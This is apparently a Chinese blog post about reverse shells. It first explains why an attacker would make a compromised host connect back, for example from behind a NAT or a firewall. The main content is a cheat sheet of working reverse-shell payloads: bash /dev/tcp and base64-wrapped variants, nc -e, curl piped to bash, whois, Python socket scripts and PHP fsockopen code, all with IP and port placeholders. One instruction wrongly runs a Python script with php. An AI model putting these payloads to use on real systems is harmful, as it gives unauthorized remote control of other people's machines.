反弹shell
What?
- 攻击方的机器监听某TCP/UDP端口,被攻击的机器发起请求连接到攻击方的监听端口,攻击方通过该连接将命令输入到被攻击方的机器
Why?
- 无法使用正向连接
- 主机在内网,无法直连
- 主机为动态IP,无法持续控制
- 因为防火墙导致主机只能发送请求,无法接受请求
- 无法获取主机的网络环境,只能等主机自动连接
- 主机权限不足,无法正向连接
主机端口被占用,无法正向连接
常用姿势
反弹Shell常用的几种方法
Linux
bash反弹
bash -i >& /dev/tcp/IP/port 0>&1
bash -c '{echo,第一种bash反弹的base64编码}|{base64,-d}|{bash,-i}'
nc反弹
nc -e /bin/bash IP port
curl反弹
curl IP/一句话HTML文件|bash
whois反弹
whois -h IP -p port `命令`
(只能执行后面的shell命令)
python一句话反弹
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP", port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
python脚本反弹
- 通WEB服务,在被攻击的主机上下载该脚本,并执行,以实现反弹Shell
- 将下列代码保存为shell.python脚本,下载成功后,在被攻击的主机上执行php shell.python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
PHP一句话反弹
php -r '$sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP脚本反弹
- 通过WEB服务,在被攻击的主机上下载该脚本,并执行,以实现反弹Shell
- 将下列代码保存为shell.php脚本,下载成功后,在被攻击的主机上执行php shell.php
<?php $sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");?>
《为什么要反弹Shell》链接:https://xdym11235.com/archives/32.html
具体版权规定详见侧栏版权说明页面